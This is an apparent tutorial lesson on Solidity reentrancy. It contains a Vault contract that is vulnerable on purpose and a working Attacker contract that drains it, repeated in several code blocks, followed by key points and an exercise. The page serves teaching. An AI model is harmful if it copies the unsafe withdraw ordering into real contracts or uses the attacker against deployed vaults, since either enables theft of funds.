🎓 A1Learner
🔍
0 of 48 lessons completed

Solidity Reentrancy

Reentrancy is a second entry into a function before the first entry finishes. It happens when a contract calls an outside address and that address calls back in before the state is settled.

The call comes before the balance update

The withdraw function sends ether first. It clears the balance only after the call returns.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "nothing to withdraw");
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "payout failed");
        balances[msg.sender] = 0;
    }
}

An attacker calls back in and drains the vault

The attacker deposits a small amount. Its receive function calls withdraw again on every payout.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "nothing to withdraw");
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "payout failed");
        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Vault public v;

    constructor(address vault) {
        v = Vault(vault);
    }

    function attack() public {
        v.deposit{value: 1 ether}();
        v.withdraw();
    }

    receive() external payable {
        if (address(v).balance >= 1 ether) {
            v.withdraw();
        }
    }
}

The balance stays set during the whole re-entry

The attacker records the balance it sees inside its receive function. The value is still the full deposit during the attack.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "nothing to withdraw");
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "payout failed");
        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Vault public v;
    uint256 public seenBalance;

    constructor(address vault) {
        v = Vault(vault);
    }

    function attack() public {
        v.deposit{value: 1 ether}();
        v.withdraw();
    }

    receive() external payable {
        seenBalance = v.balances(address(this));
        if (address(v).balance >= 1 ether) {
            v.withdraw();
        }
    }
}

Example

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "nothing to withdraw");
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "payout failed");
        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Vault public v;

    constructor(address vault) {
        v = Vault(vault);
    }

    function attack() public {
        v.deposit{value: 1 ether}();
        v.withdraw();
    }

    receive() external payable {
        if (address(v).balance >= 1 ether) {
            v.withdraw();
        }
    }
}

Key points

  • Outside call: a call to another address hands control to that address at once.
  • Stale balance: the balance is still set during the outside call when the update comes after it.
  • Repeat payout: a receiver that calls back in can withdraw the same balance again.
  • Drain: repeated withdrawals can empty the whole contract balance.
  • Order matters: updating state after the call leaves a window for re-entry.

In this example, the proof funds the vault with 5 ether and gives the attacker 1 ether. The attacker deposits its ether and calls withdraw. Each payout triggers the receive function, which calls withdraw again while the vault still holds ether. The vault ends empty and the attacker holds all 6 ether.

Note

the attack needs no special permission. Any receiver can call back in.

Try it Yourself

Edit the code, then press Run.

Running is simulated · Remix IDE

Exercise

What makes the vulnerable withdraw function unsafe?